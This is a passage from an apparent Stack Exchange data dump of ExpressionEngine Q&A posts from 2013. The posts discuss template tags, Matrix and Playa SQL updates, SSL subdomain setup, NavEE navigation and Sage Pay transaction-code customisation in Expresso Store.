&lt;/p&gt;&#xA;" OwnerUserId="756" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-04-04T01:43:09.787" Title="WYGWAM field disappearing in IE8, IE9" Tags="|matrix|wygwam|error|ie8|" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="7754" PostTypeId="2" ParentId="7746" CreationDate="2013-03-26T21:56:06.747" Score="1" Body="&lt;p&gt;The problem was that in my config file I had actually set the cp_url incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a bad person!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-03-26T21:56:06.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7755" PostTypeId="2" ParentId="7750" CreationDate="2013-03-26T22:19:26.447" Score="2" Body="&lt;p&gt;You would need to either turn on PHP for the template and then use that to create a query like you did, or go the much easier route an just use the Query Module included with ExpressionEngine (unless you are using Core).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Query Module your statement would look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT col_id_1, col_id_2, col_id_3 FROM exp_matrix_data&quot;}&#xA;   {my_fields}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to add limits and sorts as needed. You can learn more about the Query Module in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;User Guide&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-26T22:19:26.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7756" PostTypeId="2" ParentId="7732" CreationDate="2013-03-26T22:36:45.193" Score="1" Body="&lt;p&gt;You will want to download the Dutch language pack for both Store &amp;amp; EE. Then in the Super Admin account you will want to set Dutch as the language that EE uses and make sure that members prefs control the site. From there Store should use Dutch in the CP and for error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to mention that if you are using inline_error handling you can create custom error messages in your template instead of using the default store messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example lets say you have a form that has&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:billing_name} {error:billing_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would show the default Store error message if the user did not fill it out. If you change it to something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:billing_name} &#xA;{if error:billing_name}&#xA;Whoa buddy! We can't sell you something without knowing your name.&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can change the message that is shown to the user.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-26T22:36:45.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7757" PostTypeId="2" ParentId="7646" CreationDate="2013-03-27T02:35:58.357" Score="3" Body="&lt;p&gt;Yes, it's possible (assuming you're talking about triggering the ExpressionEngine status message in the control panel, not generically setting flash data from an AJAX request).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this same question a few days ago - I know for example the CP template manager triggers the success message at the top of the page from an AJAX request, so I went trawling through the (minified) EE javascript source to find out how it works. Turns out there is a handy JS function you can call to trigger that CP status message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, it's nothing to do with flashdata at this point, you simply need to return a message from your AJAX script, then use javascript to display that message to the user at the top of the page. In your PHP script, you would put something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;is_ajax_request()) {&#xA;    return $this-&amp;gt;EE-&amp;gt;output-&amp;gt;send_ajax_response(array(&#xA;        'type' =&amp;gt; 'success', // or 'error'&#xA;        'message' =&amp;gt; lang('settings_updated'),&#xA;    ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your javascript AJAX call, get the response data and display it to the user using ExpressionEngine's secret &lt;code&gt;$.ee_notice&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.post(url, data, function(response) {&#xA;    $.ee_notice(response.message, {type: response.type});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Easy once you know how, right :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; It looks like this has actually documented now. I swear it wasn't there last time I read the docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_javascript/notification.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/cp_javascript/notification.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-04-07T17:49:07.113" LastActivityDate="2013-04-07T17:49:07.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7758" PostTypeId="1" AcceptedAnswerId="7769" CreationDate="2013-03-27T04:57:17.540" Score="2" ViewCount="127" Body="&lt;p&gt;I have a site that want to link blog posts to their author pages. Authors have their own entries in a staff channel. Currently they've just used a plain text select field which has had the options manually populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What they want to do is use a Playa field instead. So they want to dynamically update the Playa field based on the values of the plain select field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at the moment they've got:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{blog_channel}: {author_custom_field} = &quot;Author Name&quot;&lt;/code&gt;&#xA;&lt;code&gt;{staff_channel}: {title} = &quot;Author Name&quot; {url_title} = &quot;author-name&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to write some SQL that will look at the value of the author_custom_field, check it against the staff_channel to see if there's any open entries, and if there is, update a new author_playa_custom_field with those values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will involve updating the relevant field_id column in exp_channel_data with values like &lt;code&gt;[2256] [author-name] Author Name&lt;/code&gt; but also update exp_playa_relationships with parent_entry_id, parent_field_id and child_entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done something similar before?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-27T12:30:30.123" Title="Populate Playa field from values of another field" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7759" PostTypeId="1" AcceptedAnswerId="8788" CreationDate="2013-03-27T05:32:26.717" Score="5" ViewCount="103" Body="&lt;p&gt;I have two sites running on MSM at the moment, however it seems that sometimes the editors and authors get confused about which site they are currently on, is it possible to get each site control panel to make use of a different colour? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, the main site can use the standard blue/pink, the second site would display with blue/green in order to stop any confusion.&lt;/p&gt;&#xA;" OwnerUserId="581" LastActivityDate="2013-03-27T21:08:43.403" Title="can I get individual MSM control panels to each use different colour theme?" Tags="|control-panel|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7760" PostTypeId="1" AcceptedAnswerId="8790" CreationDate="2013-03-27T06:19:06.410" Score="1" ViewCount="89" Body="&lt;p&gt;As the title says, I've upgraded a site from EE1 to EE2 but data that I can see exists for entries in exp_matrix_data table is missing from the publish page, i.e. there's rows in exp_matrix_data whose entry_id column matches up with entries that should have matrix data, but when viewing the entry in the CP, Matrix says there's no rows yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone come across that before?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-27T21:45:38.157" Title="Upgraded site from EE1 to EE2 but data in exp_matrix_data missing" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7761" PostTypeId="1" AcceptedAnswerId="7763" CreationDate="2013-03-27T06:33:35.813" Score="5" ViewCount="949" Body="&lt;p&gt;&lt;strong&gt;my problem:&lt;/strong&gt; If I attempt to access a https template through expression engine, I get a &lt;strong&gt;blank screen&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://secure.domainname.com/anyTemplateGroup/anyTemplate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solved by host&lt;/strong&gt; (finally found this on their website, their support desk never mentioned it!)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://secure.domainname.com&quot; rel=&quot;nofollow&quot;&gt;https://secure.domainname.com&lt;/a&gt; &#xA;  You can use a different prefix, eg &quot;www.&quot; or &quot;store.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Solution: I will get host to change prefix to www.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Just in case anyone comes across this problem, here are some details of what was going on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FACT 1&lt;/strong&gt;: The EE site url is as follows, and I can access all my templates like a normal site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domainname.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FACT 2&lt;/strong&gt;: I have an SSL certificate installed and my host provides access using &lt;strong&gt;https and a prefix&lt;/strong&gt;, but 'secure' is not a subdomain, it just points to files in the same path as &lt;a href=&quot;http://www.domainname.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domainname.com&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://secure.domainname.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FACT 3:&lt;/strong&gt; Within the site I have a few forms that I'd like to make secure using SSL such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domainname.com/login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FACT 4:&lt;/strong&gt; But with my host the above URL needs to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://secure.domainname.com/login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FACT 5:&lt;/strong&gt; Im using Focus Lab, LLC Master Config, so my config file reads as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protocol = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;$base_url = $protocol . $_SERVER['HTTP_HOST'];&#xA;$env_config['base_url'] = $base_url . '/';&#xA;$env_config['site_url'] = $env_config['base_url'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FACT/CLUE 6:&lt;/strong&gt; If I disable EE's htaccess in the root off the www folder, I can launch a test file located at www/test/phpinfo.php as, &lt;em&gt;but this is not what I want, as this is not an EE page, just something created in dreamweaver&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://secure.domainname.com.au/test/phpinfo.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FACT/CLUE 7:&lt;/strong&gt; With htaccess enabled again I cannot access the above file (I get blank screen), but I can access it via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domainname.com/test/phpinfo.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;POSSIBLE CAUSE OF ISSUE&lt;/strong&gt; I looked at changing values in the config and htaccess, but nothing has given me access to the EE template via https. &lt;strong&gt;The main problem appears to be with the prefix &lt;em&gt;secure&lt;/em&gt;&lt;/strong&gt; Other users of EE + https do not appear to have the 'secure' prefix as part of URL, but someone must know how to overcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Lloyd&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-03-27T23:19:05.477" LastActivityDate="2013-03-27T23:19:05.477" Title="SSL certificate on https://secure.domainname.com" Tags="|htaccess|ssl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7763" PostTypeId="2" ParentId="7761" CreationDate="2013-03-27T08:21:06.137" Score="3" Body="&lt;p&gt;Is &lt;a href=&quot;https://secure.domainname.com&quot; rel=&quot;nofollow&quot;&gt;https://secure.domainname.com&lt;/a&gt; the actual place where EE is installed? You'll need to install it in this 'secure' subdirectory and ensure that all paths within the system are correctly pointing to this location on the server.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-27T08:21:06.137" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7765" PostTypeId="2" ParentId="7528" CreationDate="2013-03-27T09:23:31.927" Score="1" Body="&lt;p&gt;I believe you can turn Daylight Savings Time off, under the General Administration -&gt; Localization preferences. If you set to 'no' no DST magic will happen. But I do believe this is a manual option, meaning when you need DST, you'll need to turn it back on.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-27T09:23:31.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7767" PostTypeId="1" CreationDate="2013-03-27T12:04:10.973" Score="2" ViewCount="117" Body="&lt;p&gt;I'm looking for a way to let the client flag any given paragraph within a single text area field with a class so that it will appear with different styling. So say I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot;}&#xA;  {myTextAreaField}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be hoping to get the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;First paragraph of content&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;flagged&quot;&amp;gt;Second paragraph of content&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Third paragraph of content&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can think of numerous ways to do it using various plugins (Matrix, Hop Inject) but they all break the simple usability of just letting the client type their entry as a series of paragraphs in single text area field and flagging one of them. I'd prefer a less convoluted, native solution if I can find one, and I'd prefer to avoid using the the RTE if I can possibly avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something really obvious? Or is the plugin route the only realistic solution?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-03-27T15:58:18.793" Title="Adding a class to a particular para inside a text area" Tags="|channel-entries|markup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7768" PostTypeId="2" ParentId="7767" CreationDate="2013-03-27T12:09:59.927" Score="0" Body="&lt;p&gt;Given that it sounds like you need the client to have the ability to flag any chunk they want, short of the client entering html, I'm not sure you can avoid the need to have a rows-based flagged/unflagged kind of setup for the client - Matrix being the obvious example.  The usability of that solution is better than the alternative of having the client have to enter such flagging themselves in HTML.  On the upside, they only need to create a new row for the instance of flagging. So a group of twelve paragraphs, only one of which requires flagging, would only require three rows in Matrix.  The client ought to be able to understand that pretty easily, I would think.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-03-27T12:09:59.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7769" PostTypeId="2" ParentId="7758" CreationDate="2013-03-27T12:30:30.123" Score="1" Body="&lt;p&gt;I came up with what I needed if anyone's interested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data cd&#xA;&#xA;INNER JOIN exp_channel_titles ct&#xA;  ON ct.title = cd.field_id_14&#xA;  AND ct.channel_id = 8 &#xA;  AND ct.status = 'open'&#xA;&#xA;SET cd.field_id_56 = CONCAT('[',ct.entry_id,'] [',ct.url_title,'] ',ct.title)&#xA;&#xA;WHERE cd.channel_id = 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;followed by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO exp_playa_relationships (parent_entry_id, parent_field_id, parent_col_id, parent_row_id, parent_var_id, child_entry_id, rel_order)&#xA;&#xA;SELECT cd.entry_id, 56, null, null, null, ct.entry_id, 0 &#xA;&#xA;FROM exp_channel_data cd&#xA;&#xA;INNER JOIN exp_channel_titles ct&#xA;  ON ct.title = cd.field_id_14&#xA;  AND ct.channel_id = 8 &#xA;  AND ct.status = 'open'&#xA;&#xA;WHERE cd.channel_id = 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-27T12:30:30.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7770" PostTypeId="1" AcceptedAnswerId="7771" CreationDate="2013-03-27T12:52:19.123" Score="2" ViewCount="84" Body="&lt;p&gt;Have there been any changes to the table class in EE2? I have a bug report on an add-on from a user with EE v2.3.1. They've received the following error in my mcp. file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;b&amp;gt;Fatal error:&amp;lt;/b&amp;gt; Call to undefined method CI_Table::set_columns()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code looks like this, nothing looks amiss:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('table');&#xA;$this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_columns(array(&#xA;    // column mappings&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And things work fine in 2.5.5. Here's the EE documentation I relied on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/table.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/table.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insight you can offer!&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-27T13:29:46.200" Title="Control Panel/MCP: Table class in older versions of EE2" Tags="|control-panel|add-on-development|module|table|table-class|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7771" PostTypeId="2" ParentId="7770" CreationDate="2013-03-27T13:29:46.200" Score="1" Body="&lt;p&gt;I just checked, and the &lt;code&gt;EE_Table&lt;/code&gt; class, as well as the &lt;code&gt;EE_Table::set_columns()&lt;/code&gt; method were introduced in EE 2.4.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before that, EE only included the default CodeIgniter (v2.0.1) table class.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-27T13:29:46.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7772" PostTypeId="1" AcceptedAnswerId="8775" CreationDate="2013-03-27T14:23:15.270" Score="1" ViewCount="207" Body="&lt;p&gt;Is it possible to have custom member fields added to the checkout process so when the customer is registered during checkout the custom member fields are saved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding the fields to my form (I copied the HTML from the /members/register page), but the values I enter are not saved during registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-03-27T15:17:56.777" Title="Expresso Store : Add customer member fields to checkout process" Tags="|expresso-store|members|checkout|register|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7773" PostTypeId="1" AcceptedAnswerId="7774" CreationDate="2013-03-27T14:24:23.577" Score="1" ViewCount="203" Body="&lt;p&gt;I am running into an issue with a custom NavEE, and I am hoping there is a simple fix for this that I am overlooking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have dynamic &quot;secondary&quot; navigation in the sidebar of this site. I want it to always show the nav items that are two and three levels deep. The nav for this site does not go deeper than three levels. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:custom &#xA;    nav_title=&quot;primary&quot;&#xA;    wrap_type=&quot;ol&quot;&#xA;    selected_class=&quot;is-current&quot;&#xA;    selected_class_on_parents=&quot;true&quot;&#xA;    parent_selected_class=&quot;is-current&quot;&#xA;    start_nav_from_parent=&quot;true&quot;&#xA;    start_nav_from_parent_depth=&quot;1&quot;&#xA;}&#xA;    &amp;lt;li class=&quot;nav__item&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{link}&quot; class=&quot;nav__link icn-arrow-right {class}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt;&#xA;        {if has_kids}&amp;lt;div class=&quot;nav nav--tertiary&quot;&amp;gt;{kids}&amp;lt;/div&amp;gt;{/if}&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:navee:custom}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This configuration is working very well form me until I sort the contents of a page by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a typical page: &lt;a href=&quot;http://www.example.com/resources/faqs/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/resources/faqs/&lt;/a&gt; that allows users to click a link to sort the entries by categories. Let's say one of the categories is &quot;Overview&quot;. The resulting page would be &lt;a href=&quot;http://www.example.com/resources/faqs/category/overview&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/resources/faqs/category/overview&lt;/a&gt;. On this page, the dynamic navigation in the sidebar disappears, and I am assuming it's because a selected class is not being declared when I click a link to sort by category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I explained this well enough, and I would appreciate any insight into this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine v2.5.5&lt;br&gt;&#xA;NavEE v2.2.6&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-03-27T14:48:12.137" Title="How can I tell NavEE to ignore the category segment?" Tags="|navigation|dynamic|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7774" PostTypeId="2" ParentId="7773" CreationDate="2013-03-27T14:48:12.137" Score="3" Body="&lt;p&gt;Use NavEE's &lt;strong&gt;Regular Expression&lt;/strong&gt; field for the FAQs menu item. This tells NavEE to match an item as selected based on that rule (using &lt;code&gt;preg_match()&lt;/code&gt;), rather than just matching the URL itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case you could enter &lt;code&gt;/faqs/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-27T14:48:12.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8774" PostTypeId="1" AcceptedAnswerId="8801" CreationDate="2013-03-27T14:55:25.850" Score="0" ViewCount="928" Body="&lt;p&gt;My client has very exacting demands on how the Vendor TX Code supplied to Sage Pay during checkout is formatted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any advice.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks to Ian and Adrian I figured this out - my solution follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I duplicated the file Merchant_sagepay_direct.php renaming the class to reflect the new gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the _build_authorize_or_purchase method I added the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request['VendorTxCode'] = &quot;ClientSpecificTag_&quot; . substr($request['Description'],strpos($request['Description'], &quot;#&quot;) + 1) . &quot;_&quot; . $this-&amp;gt;param('transaction_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This structures the TXcode as per the clients requirement eg: ClientSpecificTag_OrderNumber_Transaction_ID (order number is stripped from the description).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to allow refunds to work I had to add a new method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added a new method &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function _build_refund()&#xA;    {&#xA;        $this-&amp;gt;require_params('reference');&#xA;        $reference = $this-&amp;gt;_decode_reference($this-&amp;gt;param('reference'));&#xA;&#xA;        $request = parent::_build_refund();&#xA;&#xA;        $request['RelatedVendorTxCode'] = &quot;ClientSpecificTag_&quot; . substr($request['Description'],strpos($request['Description'], &quot;#&quot;) + 1) . &quot;_&quot; . $reference-&amp;gt;VendorTxCode;&#xA;&#xA;        return $request;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which ensures refund requests send the correct TX Code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All tested and working fine.&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-04-04T09:10:43.507" LastActivityDate="2013-04-04T09:10:43.507" Title="Expresso Store - Edit &quot;Vendor TX Code&quot; sent to Sage Pay" Tags="|expresso-store|checkout|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8775" PostTypeId="2" ParentId="7772" CreationDate="2013-03-27T15:17:56.777" Score="5" Body="&lt;p&gt;It sure is. You just need to make sure you've mapped them to Store's order/custom order fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your custom member fields in Members &gt; Member Fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in Store &gt; Settings &gt; Order fields make sure the fields are mapped up to the member fields. If they are custom fields then use order_custom1-9. The right hand column is where you select which Member field (or Zoo Visitor field if you're using that addon) to map to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then include the appropriate fields in the Store checkout form: {order_custom1} etc. Those will be saved upon submission and mapped to the member fields.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-27T15:17:56.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8776" PostTypeId="1" AcceptedAnswerId="8878" CreationDate="2013-03-27T15:27:30.453" Score="3" ViewCount="475" Body="&lt;p&gt;I have a template_group/template like sitemap/index.php, in which I have a regular html site map for site visitors. I also have sitemap.xml in the root folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;visiting www.site.com/sitemap is showing the sitemap.xml file and not the one I have in sitemap/index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the EL supplied htacccess file to remove index.php from url's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be grateful for any suggestions on how to fix this please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-04-01T12:06:31.453" Title="How do I stop sitemap.xml displaying instead of the /sitemap/index.php template?" Tags="|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8778" PostTypeId="2" ParentId="8776" CreationDate="2013-03-27T15:53:19.347" Score="1" Body="&lt;p&gt;I would move your sitemap.xml file to an EE template make sure you choose xml as the template type. Then remove your sitemap.xml from the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YOu can update your xml sitemap url in google webmasters tool and set up an .htaccess 301 redirect to ensure there are no problems with the move.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-03-27T15:53:19.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8779" PostTypeId="2" ParentId="7767" CreationDate="2013-03-27T15:58:18.793" Score="1" Body="&lt;p&gt;You can do this using wygwam using a &lt;a href=&quot;http://pixelandtonic.com/wygwam/docs/style-set&quot; rel=&quot;nofollow&quot;&gt;Custom Style Set&lt;/a&gt;. Doing this will allow your users to use the &quot;style&quot; drop down to add a class to a paragraph in the wygwam field.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-03-27T15:58:18.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8780" PostTypeId="2" ParentId="7749" CreationDate="2013-03-27T16:32:05.793" Score="2" Body="&lt;p&gt;The solution was to move the jquery call to the &lt;code&gt;head&lt;/code&gt; of the page to initiate it prior to the store template tags&lt;/p&gt;&#xA;" OwnerUserId="280" LastActivityDate="2013-03-27T16:32:05.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8783" PostTypeId="2" ParentId="7760" CreationDate="2013-03-27T17:42:15.343" Score="0" Body="&lt;p&gt;Is all matrix data missing? Can you add a new matrix row? Does the other data appear? If not, i suggest compare whats different with the exp_matrix_data rows. And check exp_channel_data, there will be a matrix field their too. And if you have copied in the database tables, have you enabled the matrix module, or installed the latest version.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-03-27T17:42:15.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
